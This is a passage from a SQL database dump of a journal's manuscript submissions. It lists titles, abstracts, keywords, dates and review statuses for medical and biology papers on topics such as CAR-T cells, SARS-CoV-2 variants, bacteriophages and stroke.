atención.',2805,NULL,'2020-12-25',NULL,'Submitted',2,NULL,'2021-02-09',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6973,8245,667,0,'iptb-20-6973','CAR T CELLS-ROLE IN CANCER IMMUNOLOGY IMMUNOMODULATION AND IMMUNOTHERAPY',NULL,15,0,'','Cancer is one of the main sources of death around the world. \r\nThroughout the long term, several traditional cytotoxic methodologies for \r\nneoplastic illnesses have been created. Notwithstanding, because of their \r\nrestricted adequacy as per the heterogeneity of malignant growth cells, there \r\nis a steady quest for helpful methodologies with the improved result, for \r\nexample, an immunotherapy that uses furthermore, improves the ordinary \r\nlimit of the patient\'s resistant framework.','Biotechnology\r\nStem cells\r\nImmunotherapy',3512,NULL,'2020-12-26',NULL,'Submitted',2,NULL,'2021-03-30',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(6976,8249,277,0,'ipadm-20-6976','IMPLICACIONES DE LA RESPUESTA INMUNOLOGICA ANTE LA NUEVA VARIANTE VUI 202012/01 DEL SARS-COV-2',NULL,5,1,'COVID 19','El 14 de diciembre del 2020 llego un comunicado a la organización mundial de la salud proveniente de Reino Unido, en el cual se informaba sobre la existencia de una mutación del SARS-CoV-2, la cual se denominaría SARS-CoV-2 VUI 202012/01 [1]. Tras esto se realizaron una serie de análisis iniciales, los cuales indicaron que la variante contaba con la capacidad de propagarse más fácilmente entre las personas. Aun así, se están efectuando más investigaciones con el fin de determinar si esta mutación muestra algún cambio en la gravedad de los síntomas, la respuesta de los anticuerpos o inclusive en la eficacia de las vacunas [2]. \r\nHasta el momento, además de Reino Unido, otros países han reportado la presencia de esta variante: Dinamarca, España, Países Bajos, Australia, Bélgica, Italia e Islandia y no se descarta que esté presente en otros [3]. \r\nEsta variante viral tiene como característica distintiva la presencia de un conjunto de 23 mutaciones, de las cuales 6 son mutaciones puntuales sin cambio de aminoácido, 14 mutaciones puntuales con cambio de aminoácido y 3 deleciones. Algunos de estos cambios se encuentran en sitios de la proteína S, lo que puede tener gran importancia en la transmisión del virus [4]. \r\nLa mutación denominada N501Y está alterando un aminoácido en los seis residuos clave del dominio receptor-obligatorio (RBD), así mismo se ha descubierto que la supresión en la posición 69/70 afecta a la eficacia de algunas pruebas diagnósticas de PCR que utilizan un gen S como diana y por ultimo P681H, que altera el sitio donde la proteína de la espiga debe dividirse para ingresar a las células humanas [5].\r\nLa importancia de estos cambios que se han dado en la proteína S del SARS-CoV-2 radica en que esta misma es quien le confiere al virus la posibilidad de infectar al ser humano a través de la unión con el receptor de la enzima convertidora de angiotensina 2 (ACE2). Por lo cual, si antes se reconocía que la unión a ACE2 es de 10 a 20 veces mayor que la observada con otros coronavirus, ahora se estima que sería aún mucho mayor [6].\r\nRecordemos que en la respuesta inmune al coronavirus los linfocitos T juegan un papel predominante. En el caso de este virus los linfocitos CD4+ eran más susceptibles a la infección y su daño condicionaba a una peor evolución. Esta depleción de CD4+ se traducía en un menor reclutamiento de linfocitos a nivel pulmonar, lo que condicionaba un menor aclaramiento del virus. A consecuencia de esta desregulación, los linfocitos T CD4+ presentes generaban un aumento de citocinas que se traducía en un cúmulo de monocitos y neutrófilos que activaban a su vez otras cascadas inflamatorias mediante la síntesis de citocinas, se puede concluir con esto que los coronavirus están particularmente adaptados para evadir la detección inmune [7].\r\nSin embargo, resultados de algunas investigaciones revelaron que la respuesta de las células T a la proteína S y otras proteínas estructurales es bastante persistente. Lo que proporciona evidencia que de alguna forma demuestra que las vacunas contra el SARS compuestas de proteínas virales son capaces de inducir respuestas celulares dominantes, efectivas contra cualquier variante del virus [8].\r\nExiste evidencia de que algunas células no cuentan con los receptores habituales ACE2 en sus superficies, no obstante, puede ocurrir una infección por otro tipo de coronavirus, como la nueva variante presentada en Reino Unido, mediante la producción de anticuerpos antivirales neutralizantes poco eficaces. Estos pueden facilitar la entrada del virus a las células huésped conduciendo a una mayor infectividad [9].\r\n','',2805,NULL,'2020-12-26',NULL,'Submitted',2,NULL,'2021-02-23',NULL,1,1,'0','Accepted without changes',0,'','',NULL,0,0,0,NULL,0),(6977,7690,975,0,NULL,'WHARTON’S JELLY AS BIOMATERIAL NERVE SCAFFOLD FOR SCIATIC  NERVE REGENERATION IN ALBINO WISTAR RATS',NULL,14,0,NULL,'Human umbilical cord (hUC) is encompassed by a mucoid connective tissue called Wharton’s jelly (WJ), made of hyaluronic acid, collagen and stromal cells to support the blood vessels of hUC. This study was aimed to determine the in vitro neuronal differentiation of Wharton’s jelly-derived Mesenchymal stem cells (WJMSCs) and in vivo axonal regeneration potential of human Wharton’s jelly as a neuronal graft after sciatic nerve injury in immunosuppressed Albino Wistar rats. WJMSCs could be differentiated to neuron-like cells by inducing with neuronic supplementing media. The test animal’s axotomized nerves were implanted with trimmed human umbilical cord devoid of vascularity. The control animals were bridged with native sciatic nerve reversed and sutured. Post-surgical functional recovery was studied by walking track, pin-prick, muscle weight and sweating quantification. At the end of the 4th week, the animals were euthanized, and Magneto Neuro graph (MNG) was performed. The explanted grafts were quantified by immunohistochemistry for immuno-rejection, neural scarring, neural adhesion axon regeneration, fiber diameter, myelin thickness and g-ratio. The sciatic function index (SFI) values were similar by walking track analysis for both the test group and control group. The animals had functional and sensation recovery by the end of two weeks. No mortality, signs of inflammation and acute immunorejection were observed post-surgery. The hUCWJ devoid of vascular elements can be a perfect peripheral nerve grafts and we hypothesis that the cryopreserved hUC could be an ideal resource for axonal regeneration in future.','Umbilical cord, Peripheral nerve regeneration, Mesenchymal Stem cells, Sciatic nerve, Wharton’s Jelly',3460,NULL,'2020-12-26',NULL,'Submitted',4,NULL,'2020-12-31',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6979,8251,45,0,'iphsj-20-6979','Health benefits of jaggery Tea on the account of COVID-19',NULL,19,0,'','Consumption of jaggery Tea in winters helps in generating required heat in the body, keeps you warm inside. Jaggery has a very good effect on digestion, especially for people who suffer from constipation. It\'s ideal to have your morning tea made with jaggery as it speeds up digestion after the long hours of fasting. On the account of COVID-19 we have found number of health benefits of traditional foods and spices. Multiple numbers of traditional foods are responsible to increase your immunity. Jaggery is one of them. The purpose of this paper is to understand the importance of jaggery. ','jaggery Tea, digestion, body heat.',4076,NULL,'2020-12-27',NULL,'Submitted',2,NULL,'2021-06-02',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(6984,8254,251,0,'ipacm-20-6984','Characterization of Bacteriophages from Wastewater Sources on Streptococcus spp. Isolated from Biological Samples',NULL,14,0,'','Abstract\\r\\nTitle: Bacteriophages are beneficial viruses that can destroy bacteria. By isolation and identification them, they can be used for therapeutic purposes.\\r\\nBackground: In recent decades, inappropriate and excessive use of antibiotics have resulted in frequent antimicrobial resistance in bacteria. This phenomenon has created several problems in treatment of bacterial infections, leading to increased case mortalities and treatment expenses. A good solution to solve the problem is use of bacteriophages in bacterial treatment as these bacterial viruses include zero or minimum side-effects. The aims of this study were to isolate and identify bacteriophages from biological samples.\\r\\nMethods and Findings: In this study, wastewater samples were used to characterize bacteriophages on streptococcal isolates from clinically isolated biological samples in Tehran, 2019–2020. Then, bacteriophages were comprehensively characterized using phenotypic and molecular methods. Of all samples collected from the hospital, 20 isolates belonged to viridans group and Group B streptococci. Overall, five bacteriophages were isolated from Streptococcus agalactiae strains with no host specificity since these bacteriophages lysed Enterococcus spp. as well.\\r\\nConclusion: Since emergence of antibiotic-resistant bacteria has created numerous medical problems, characterization of bacteriophage to use in infection treatment seems a promising solution.\\r\\n','Keywords: Bacteriophage, Streptococcus spp., Biological samples',783,NULL,'2020-12-28',NULL,'Submitted',14,NULL,'2022-09-22',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(6986,8256,73,0,'ipjnn-20-6986','Hyperglycemia Induced Seizures and Visual Symptoms due to Reversible  Occipital Damage: A Case Series',NULL,2,0,'','Background: Seizures associated with hyperglycemia are mostly partial motor with or without secondary generalisation. Occipital lobe seizures due to hyperglycemia have been reported in few case studies.\r\n\r\nMethod/design: The clinical characteristics, EEG and imaging findings of the patients with poorly controlled sugars, visual symptoms and seizures were analysed.\r\n\r\nResults: Three patients presented with poorly controlled sugars, seizures and visual symptoms over a period of 6 months. EEG showed frequent occipital spikes and electrical seizures of occipital origin. MRI brain showed T2 FLAIR hypointensity over the subcortical white matter and gyral changes over the parieto-occipital area. All of them showed good clinical improvement with antiepileptic medications and good glycemic control. The imaging repeated on follow up in two patients showed complete resolution of T2 FLAIR hypointensity.\r\n\r\nConclusion: Hyperglycemia induced changes can occur with a predeliction for occipital lobe.\r\n\r\nThe visual impairment and occipital seizures responds to glycemic control and anticonvulsants.\r\n\r\n','hyperglycemia, occipital lobe damage, T2 FLAIR hypointensity, occipital seizures',334,NULL,'2020-12-28',NULL,'Submitted',4,NULL,'2021-01-18',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6989,8260,45,0,'iphsj-20-6989','Isolation, Experimental Transmission and Eco-Friendly Management of Vibriosis in Penaeid shrimp (Penaeus monodon) using Microalgae Culture',NULL,17,0,'','Globally, the most common penaeid shrimps currently being cultured are Penaeus monodon. As per the FAO statistics, the world production of cultivated shrimp has increased since the early 1980’s. Over a period, the demand for shrimp is exponentially increased. It is estimated that more than 50% of the world production of penaeid shrimp is contributed by P. monodon. In India intensification of shrimp culture methods and improper management strategies caused the shrimps to face stress and injury as well as consequent diseases, which devastated the farming activities. Infectious diseases constitute a main barrier to the development and continuation of shrimp aquaculture in terms of quality, quantity and regularity and also continuity. According to Global Aquaculture Alliance (GAA) survey, in 2001 an overall loss to aquatic animal disease of approximately 22% in a single year, and with respect to disease agents, the majority of efforts on disease control 80% focused on viral and bacterial pathogens. Several studies have indicated that resistance may be increasing in developing countries and diarrheal disease is one of the most important cases of illness and death occurs in young children. Moreover, the control of infectious diseases in aquaculture is seriously threatened by the steady increase in the number of pathogenic microorganisms that are resistant to antimicrobial agents.','',4076,NULL,'2020-12-29',NULL,'Submitted',2,NULL,'2021-01-19',NULL,1,1,'1','Accepted',0,'3090','nikhil_m@omicsgroup.co.in',NULL,0,0,0,NULL,0),(6992,8263,45,0,NULL,'Determination of donor loyalty among blood donors in Transfusion Center of Urmia (The fourth quarter 2020)',NULL,14,0,'','BACKGROUND:    Blood transfusion organizations rely on their clients. An increase in return rate and the number of donations per year can lead to increase access to blood. Therefore, determining the level of donor loyalty can be one of the achievable goals of these organizations.\r\nSTUDY DESIGN AND METHODS:     The questionnaire with systematic stratified random distribution used in this descriptive/applied study. The donors with at least 83 scores (equivalent to agree and strongly agree) were identified as \"loyal donors\" and were considered \"non-loyal\" with a score below 83.  The comparison of ratios and chi-square with a 95% confidence level (CI = 95% and Significance level less than 0.05) used for statistical analysis.\r\n    RESULTS:    A total of 752 questionnaires was completed and analyzed. More than 90% of respondents (89% of first donors, 96% of regular donors) selected the \"Agreed or strongly agreed\" option for the question about \"willingness to donate blood again\". For the other 3questions, less than 50%, 82%, and 46% of the respondents respectively selected \"agree or disagree\". 58.7% of respondents scored above 83 (51.6% first donors; 65.7% of regular donors). These scores in regular donors were significantly higher than the first ones: \r\n65.7%: 51.6% (P <0.0001)\r\nDISCUSSION:       While more than 50% of donors stated who they were loyal donors, the return rate was low. That indicates the need for intervention to encourage donors to continue to donate. This study only determined the level of donor loyalty. Find out why donor loyalty/disloyalty can be an attractive topic for future research.\r\n','Customer\r\nBlood Donation\r\nLoyalty',3691,NULL,'2020-12-29',NULL,'Submitted',4,NULL,'2021-01-08',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6996,8268,45,0,'iphsj-20-6996','Delayed Diagnosis and Management of Second Trimester Cervical Ectopic Pregnancy - Case Report',NULL,2,0,'','A second trimester cervical ectopic pregnancy is a rare kind of ectopic pregnancy and is associated with a high maternal mortality rate. Early diagnosis and management of an ectopic pregnancy is considered as a principal factor to decrease the maternal mortality rate as well as to preserve the fertility of the patient. A 36 year old patient G1P0, 24 weeks with an attack of per-vaginal bleeding and abdominal pain, was diagnosed as a case of an invetable abortion. After termination of the pregnancy, intractable and uncontrolled bleeding was noticed, so a decision of lapratomy was taken and a diagnosis of cervical ectopic pregnancy was confirmed and managed with a total abdominal hysterectomy. It is recommended that staff in the obstetric and gynaecology departments should have training in the use of technology (Ultra-Sound Scan) and its application in order to eliminate possible complications.','second trimester Cervical Ectopic Pregnancy, Medical Versus Surgical Treatment, Preservation of Fertility',686,NULL,'2020-12-29',NULL,'Submitted',2,NULL,'2021-01-12',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(6999,6984,277,0,'ipadm-20-6999','ABSCESO CEREBRAL: UNA REVISIÓN DE LA LITERATURA',NULL,15,0,NULL,'RESUMEN \r\nIntroducción: El absceso cerebral se define como un proceso supurativo focal del parénquima cerebral, que, a pesar de su incidencia relativamente baja, constituye un problema de salud mundial, por su alta morbimortalidad y carga económica para el sistema de salud. Afortunadamente, la mortalidad por esta causa ha disminuido notoriamente gracias a la introducción de los estudios de imágenes que permiten hacer un diagnóstico temprano y un tratamiento oportuno.\r\n \r\nObjetivo: Revisar los conceptos de epidemiología, etiología, fisiopatología, diagnóstico,  tratamiento y complicaciones del absceso cerebral según la evidencia actual disponible.\r\n \r\nMetodología: Las referencias se identificaron mediante la búsqueda en las diferentes bases de datos: PubMed, MEDLINE, EBSCO host, SCIENCE DIRECT, OvidSP y en las plataformas de las Revistas Lancet y New England Journal of Medicine. La búsqueda se limitó a los idioma inglés y español, publicados en los últimos 10 años, sin embargo, se añadieron algunos artículos que sobrepasan este período, pero que son claves para el tema tratado. \r\n \r\nResultados: Se recolectaron 148 artículos, de los cuales para la redacción del documento se usaron 33 artículos a conveniencia, incluyéndose artículos de revisión, metaanálisis y artículos originales. \r\n \r\nConclusiones: El absceso cerebral es una enfermedad potencialmente mortal, cuyo pronóstico depende de un diagnóstico y manejo tempranos con intervención de un equipo multidisciplinario. Las manifestaciones clínicas suelen ser inespecíficas por lo que la identificación de la entidad depende de estudios de neuroimagen.  Finalmente, el tratamiento asocia manejo médico con antibioticoterapia e intervención neuroquirúrgica para drenaje del foco.','Absceso cerebral,  cerebritis,  infección intracraneal, resonancia magnética, neuroinfección.',2805,NULL,'2020-12-30',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(7009,8282,73,0,'ipjnn-20-7009','Assessing Neural Oscillations during Erotic and Negative Emotional Pictures Viewing: An Event-related potential study',NULL,14,0,'','The present study was designed to determine whether or not there are components of the ERPs that discriminate the erotic and negative pictures during affective picture processing. Participants viewed erotic, negative, and neutral pictures from the International Affective Picture System (IAPS). Eighteen right-handed volunteer students from the northeastern university participated in the experiment. Electrode from the frontal site (F3&F4), C3 & C4 (central electrodes), P3 &P4 (parietal electrodes) and O1 & O2 (occipital electrodes) were averaged with the stimuli type and brain hemisphere. The change in spectral power of the brain signal and its main spectral bands of theta (3-7.5Hz), Alpha (7.5-13Hz) and Beta (13-25 Hz) were analyzed. Erotic stimuli showed ERP components deflected more negatively at the frontal electrode site than the negative picture stimuli during the time window of 200-300ms. Whereas the negative valence stimuli processing reflected a positively twisted amplitude at the time window of 120-300ms. The erotic and negative valence emotional picture stimuli show a significant difference in the spectral power of theta, alpha, and beta frequency bands for the left vs. right hemisphere and frontal vs. occipital sites.  Nonetheless, the time-frequency plots show us those emotionally valence visual stimuli triggered an increase of the alpha band (7.5-13Hz). ','Alpha power, Electroencephalography (EEG), Emotion, Event-related potential (ERP), Spectral Power ',3654,NULL,'2020-12-30',NULL,'Submitted',2,NULL,'2021-01-25',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7014,8289,45,0,'iphsj-21-7014','An Autopsic Study on Bilateral Hypoplasia of the Posterior Communicating Arteries in Cerebrovascular Diseases',NULL,14,0,NULL,'Objective: To identify the clinical consequences of bilateral hypoplasia of the posterior communicating arteries (PCoAs) in order to provide a clue to neurosurgeons and neurologists in their work to diagnose and treat patients with stroke symptoms. Material and methods: We performed an anatomical retrospective study on gross morphology of 98 circles of Willis (CW) that were identified at the time of the autopsies made on patients who have died in the \"Prof. dr. N. Oblu” Emergency Clinical Hospital Iasi, Romania, the main neurological and neuro-surgical healthcare Centre in the region of North-Eastern Romania, for a period of three years. Demographical and autopsic data, as well as photographic images were taken from the registers and archives of the Pathology Department. Only CWs with bilateral hypoplasia of PCoA without any other associated anatomical abnormalities were studied. Results: In 5 cases (5.12%) we identified bilateral hypoplasia of PCoAs. Male: Female ratio was 3: 2. The average age was 63.5 years. 80% of cases died of ischemic or haemorrhagic stroke, but 10% died of heart disease. In 2 (40%) cases, one of the two PCoAs presented aplasia and the other was hypoplastic, an event related to frontal lobe strokes on the same side. In the other two (40%) cases in which both arteries were hypoplastic, the cause of death was ischemic stroke located in the brainstem. In only one case (20%), even in the presence of bilateral hypoplasia of PCoAs, the cause of death was non-neurological. Conclusions: Even if literature claims that PCoA hypoplasia becomes a risk factor for ischemic stroke only in the presence of ipsilateral internal carotid artery (ICA) occlusion, in our study we found that aplasia of one of the two PCoAs associated with hypoplasia of the controlateral artery caused ischemic stroke in the brainstem, thus revealing the role of PCoAs in ensuring the posterior circulation in case of occlusion of the vertebro-basilar system.','Posterior Communicating Artery, Bilateral hypoplasia, Autopsy',388,NULL,'2020-12-30',NULL,'Submitted',2,NULL,'2021-01-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7022,8297,45,0,'iphsj-21-7022','unmet need of family planning and associated factor among married and union women with disability in southern Ethiopia ',NULL,14,0,'','Background or Objectives: Ethiopia has high fertility rate which around 1% of the population is affect by one from of disability. However, a little know about factor affecting unmet need of family planning to disabled women. The aim of this study was to assess the unmet need for family planning and associated factors among married disabled women in southern Ethiopia.  \r\nMethods A community-based cross-sectional study was conducted among 312 disabled married and union women. Simple random sampling was adopted. Data were collected by four diploma midwife and one of them proficient in sign language. Epi-info TM version-7 and SPSS version 20 for were used for entry analysis of data respectively.\r\nResult The prevalence of unmet family planning among disabled married and union were 25.17%. Factor significantly associated with unmet need for family planning were: age group 20-24 (AOR=5.4:95% CI,1.6-18.4) time more than age above 30, not discussed with their partners and negative attitude (AOR 3:95% CI, 1.3-7.1) & (AOR 2.4:95% CI, 1.1-5.6) times more likely than counterparts respectively. \r\nConclusion: The level of unmet need of family planning methods was high among disabled married and union women and factors significantly associated were age, discuss with partner and attitude. Therefore governmental and non-governmental organizations should work on case by case. Male involvement on reproductive discussion should address.  \r\n','',3202,NULL,'2021-01-01',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7029,8305,86,0,'ipaom-21-7029','Eltrombopag – a cost-effective single oral therapeutic agent avoiding splenectomy in steroid-resistant immune thrombocytopenic purpura',NULL,2,0,'','Immune thrombocytopenic purpura (ITP) is an autoimmune disorder with isolated thrombocytopenia marked by peripheral blood platelet count<100 x 109/L without any other etiology or disorders that may be associated with thrombocytopenia. The treatment of newly diagnosed ITP patients is steroids. However, about one-third of patients do not respond to steroids. In such cases, intravenous immunoglobulin or splenectomy is indicated. Apart from the evidence of platelet destruction in ITP, certain studies have shown decreased platelet production along with destruction. Eltrombopag is an oral Thrombopoietin receptor agonist (TPO-RA). Eltrombopag has been shown to provide a good response in chronic ITP patients not responding to steroid therapy.','Primary ITP; \r\nImmune thrombocytopenia; \r\nImmune thrombocytopenic purpura; \r\nTPO-RA; \r\nEltrombopag;',712,NULL,'2021-01-02',NULL,'Submitted',2,NULL,'2021-04-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7030,8307,86,0,'ipaom-21-7030','DO HEMATOLOGÄ°C CANCERS Ä°NCREASE THE FREQUENCY OF DEMODEX SPP?',NULL,14,0,'','Background and aim: Demodicosis is a parasitic skin disease caused by D. folliculorum and D. brevis, and is also known as hair follicle mite. The aim of this study was to determine the prevalence of D. folliculorum and D. brevis in hematologic cancer patients, and to investigate its relation with chemotherapy. \r\nMaterials and methods: Sixty-six hematologic cancer patients and 60 healthy individuals of similar age and sex were included in the study. Among the patients with hematological cancer, 50 received chemotherapy while 16 did not receive chemotherapy. The demographic characteristics of the patients were noted. Samples were taken from the cheeks, nose, chin and forehead of the participants with standardized skin surface biopsy and examined in light microscopy at x40 and x100 magnifications in order to determine the mite density per cm2. Demodicosis was assessed as positive if 5 or more Demodex spp were seen per cm2. \r\nResults: Demodex spp was positive in 19 (28.78%) cancer patients and 3 (5%) subjects in the control group. The prevalence of Demodex spp was significantly higher in the patient group (p<0.001). The mean mite count (31.31/cm2) in the patient group was also significantly higher than the control group (1.08/cm2), (p<0.001). Demodex spp density was 38.94 /cm2 in patients receiving chemotherapy and 7.50/cm2 in patients not receiving chemotherapy, and the difference between those was statistically significant (p<0.001). \r\nConclusion: In conclusion, our study has shown that more patients with hematological cancer were infected with Demodex spp compared to controls, and that the density of Demodex spp was significantly increased in the chemotherapy group. It should be kept in mind that Demodex spp increases with weakening immune system and may cause skin lesions in hematologic cancer patients, especially in patients receiving chemotherapy.\r\n\r\n','demodex, hematology, cancer',3888,NULL,'2021-01-02',NULL,'Submitted',2,NULL,'2021-04-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7031,8307,86,0,'ipaom-21-7031','Do hematologic cancers increase the frequency of Demodex spp?',NULL,14,0,NULL,'Background and aim: Demodicosis is a parasitic skin disease caused by D. folliculorum and D. brevis, and is also known as hair follicle mite. The aim of this study was to determine the prevalence of D. folliculorum and D. brevis in hematologic cancer patients, and to investigate its relation with chemotherapy. \r\nMaterials and methods: Sixty-six hematologic cancer patients and 60 healthy individuals of similar age and sex were included in the study. Among the patients with hematological cancer, 50 received chemotherapy while 16 did not receive chemotherapy. The demographic characteristics of the patients were noted. Samples were taken from the cheeks, nose, chin and forehead of the participants with standardized skin surface biopsy and examined in light microscopy at x40 and x100 magnifications in order to determine the mite density per cm2. Demodicosis was assessed as positive if 5 or more Demodex spp were seen per cm2. \r\nResults: Demodex spp was positive in 19 (28.78%) cancer patients and 3 (5%) subjects in the control group. The prevalence of Demodex spp was significantly higher in the patient group (p<0.001). The mean mite count (31.31/cm2) in the patient group was also significantly higher than the control group (1.08/cm2), (p<0.001). Demodex spp density was 38.94 /cm2 in patients receiving chemotherapy and 7.50/cm2 in patients not receiving chemotherapy, and the difference between those was statistically significant (p<0.001). \r\nConclusion: In conclusion, our study has shown that more patients with hematological cancer were infected with Demodex spp compared to controls, and that the density of Demodex spp was significantly increased in the chemotherapy group. It should be kept in mind that Demodex spp increases with weakening immune system and may cause skin lesions in hematologic cancer patients, especially in patients receiving chemotherapy.','demodex, cancer, hematology',712,NULL,'2021-01-02',NULL,'Submitted',4,NULL,'2021-01-11',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7034,6225,73,0,'ipjnn-21-7034','Horner’s Syndrome due to a Spontaneous Internal Carotid Artery Dissection treated with Casper Stent',NULL,2,0,NULL,'Horner syndrome is a constellation of neurological findings consisting of ipsilateral ptosis, miosis and anhidrosis. Partial Horner syndrome, comprising ipsilateral ptosis and miosis in the absence of anhidrosis, is a well-documented but uncommon manifestation of internal carotid artery dissection. Internal carotid artery dissection (ICAD) is a rare entity that either results from traumatic injury or can be spontaneously preceded or not by aminor trauma such as sporting activities, is a common cause of ischaemic stroke in young patients. As many as 40 to 50% of patients with carotid dissection will develop an ipsilateral Horner’s síndrome.','Horner’s syndrome, carotid artery dissection, anisocoria, miosis, ptosis, oculosympathetic pathway, carotid artery stenting, dual antiplatelet.',334,NULL,'2021-01-02',NULL,'Submitted',2,NULL,'2021-02-15',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(7039,8312,251,0,'ipacm-21-7039','Isolation and characterization of bacteriophages from wastewater sources on Enterococcus spp. isolated from clinical samples',NULL,14,0,'','Due to dramatic increases in bacterial antibiotic resistance in recent decades, use of antibiotics to treat infections is not thoroughly effective. A group of these bacteria, enterococci, are highly resistant to common antibiotics, especially vancomycin. Therefore, researchers have used bacteriophages, as drug alternatives, to treat bacterial infections resistant to multiple antimicrobials. The most important reasons for using bacteriophages to treat antimicrobial-resistant strains include relative safety of the bacteriophages compared to chemical antimicrobials, zero or low resistance of the bacterial strains to their host-specific bacteriophages and ineffectiveness of the bacteriophages on eukaryotic cells. Thus, the major aims of this study were to isolate and identify bacteriophages of municipal wastewaters on antibiotic-resistant clinical enterococci. After isolation of the bacteriophages, their efficiency on various enterococcal species was investigated. In general, three bacteriophages were isolated, including those of Myoviridae, Siphoviridae and Inoviridae families, which were isolated on an Enterococcus faecium strain. The bacterial strain was partially sequenced and further studied using transmission electron microscopy. In conclusion, bacteriophages can be isolated from biological sources. The bacterial viruses are suggested as viable alternatives to antimicrobials because of the current bacterial multiple resistance to these biochemical agents. Further studies are necessary to verify effects of bacteriophages on multiple resistant pathogens. ','',777,NULL,'2021-01-04',NULL,'Submitted',4,NULL,'2021-02-03',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(7050,8320,975,0,'ipjbs-21-7050','Prevalence of blaTEM, blaCTX-M & blaSHV genes in the Extended Spectrum β-Lactamase (ESBL) producing Escherichia coli and Klebsiella pneumoniae isolates in urine samples collected from Dubai and Northern Emirates of U.A.E.',NULL,14,0,'','ABSTRACT\r\nObjectives: The extensive consume of β-lactam antimicrobial agents to treat patients with urinary tract\r\ninfection has recently led to the emergence of resistant strains all over the world. The current study\r\naimed to determine the prevalence of blaTEM, blaCTX-M & blaSHV genes in the Extended Spectrum βLactamase (ESBL) producing E. coli and K. pneumoniae isolates in urine samples collected from Dubai\r\nand Northern Emirates of U.A.E.\r\nMaterials/methods: A total of 3457 urine samples were collected between October 2018 and January\r\n2019. 474 urine samples were reported as positive for urinary tract infection, in that, 130 bacterial\r\nisolates were identified as ESBL producers. Based on gram staining, culture characteristics, biochemical\r\nutilization, and double-disc diffusion test the ESBL producers E. coli and K. pneumoniae were\r\nidentified. They were further screened for the presence of the targeted genes blaTEM, blaCTX-M & blaSHV.\r\nResults: Out of 130 ESBL isolates, the class A ESBL genes blaTEM, blaCTX-M & blaSHV were detected only in\r\n78 isolates. Among the 78 isolates, 59 positive amplifications were detected in E. coli and 19 were\r\ndetected in K. pneumoniae. In that 59 E. coli isolates, the most predominant gene was blaTEM, followed\r\nby blaCTX-M and blaSHV. All the 03 genes were detected together in 02 E. coli isolates as well as 02 genes\r\nwere together in 10 E. coli. Among the 19 K. pneumoniae, the gene blaCTX-M was predominant followed\r\nby blaTEM and blaSHV. There are 11 K. pneumoniae isolates had either blaCTXM + blaSHV genes or blaSHV\r\n+blaTEM or blaTEM + blaCTX-M.\r\nConclusions: There is a high prevalence of ESBL producing gram-negative bacteria in the urine samples,\r\nwith a higher prevalence in women than men and the number of E. coli strains is higher than K.\r\npneumoniae. Due to the increase of E. coli and K. pneumoniae with multiple ESBL genes, continuous\r\nsurveillance in order to use appropriate antibiotics and the control of infections is necessary.\r\n','Extended Spectrum β-Lactamase (ESBL), blaTEM, blaCTX-M & blaSHV genes, Cystine-LactoseElectrolyte-Deficient (CLED) Agar, MacConkey agar',4089,NULL,'2021-01-05',NULL,'Submitted',4,NULL,'2021-01-28',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7060,8331,73,0,'ipjnn-21-7060','The Relationship Between Serum Uric Acid Level and Ischemic Stroke and Its Subtypes ',NULL,14,0,'','Objective: Uric acid (UA) is a molecule known as an antioxidant. However, studies conducted in recent years indicate that elevated serum UA levels are an independent risk factor for stroke. The aim of our study is to determine the relationship between UA and acute ischemic stroke and subtypes.\r\nMethods: We retrospectively analyzed 110 patients with acute ischemic stroke within the first 24 hours who were admitted to Bakirkoy Prof Dr. Mazhar Osman, Mental and Neurological Diseases Training and Research Hospital (Istanbul, Turkey) between August 2016 and August 2017. The control group was composed of 82 healthy volunteers who were compatible with the patient group in terms of age and gender. Serum UA levels were estimated and stroke subtypes were determined by Bamford classification according to clinical findings and TOAST classification according to etiology. \r\nResults: Mean serum UA levels were found 5,5 mg/dL in the patient group versus 4,8 mg/dL in the control group. There was a statistically significant difference between patients and controls (p<0,0019). As for the stroke subtypes, elevated serum UA was found to be associated with all stroke subtypes except lacunar stroke according to Bamford classification and small vessel disease according to TOAST classification. In Multiple Logistic Regression Analysis, serum UA levels higher than 5,6 mg/dL were identified as independent risk factors for ischemic stroke. \r\nConclusion: In our study, high UA levels were seen as an independent risk factor for stroke. Determination of UA as an etiological factor responsible for the pathogenesis of vascular diseases including stroke may also bring the treatment of hyperuricemia such as hyperlipidemia or hypertension, which are routinely treated after stroke.\r\n','',338,NULL,'2021-01-06',NULL,'Submitted',2,NULL,'2021-02-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7062,8333,45,0,'iphsj-21-7062','Knowledge, Attitudes and Practices of King Abdulaziz Undergraduate Nursing towards Novel Corona Virus (COVID 19)',NULL,14,0,'','Background: The emerging respiratory disease is caused by the novel type of corona virus which is named as COVID-19. This respiratory illness has received internal attention and it is categorized as highly threaten disease in the US by the Centers for Disease Control and Prevention. The purpose of the study was to assess the knowledge, attitude and practice of undergraduate nursing students towards COVID-19.\r\nMethods: Descriptive cross-sectional design was used to assess knowledge, practice and attitudes of 255 undergraduate nursing students towards COVID-19. Study participants were recruited from the nursing college in King AbdAziz University between April and July 2020. \r\nResults: the results of study participants showed that undergraduate nursing students had moderate knowledge towards COVID-19 (Mean = 20.54, SD ± 4.67). Also, participants had high level of knowledge regarding nature of diseases and precautionary measures by health care providers dimensions. However, they expressed limited knowledge towards 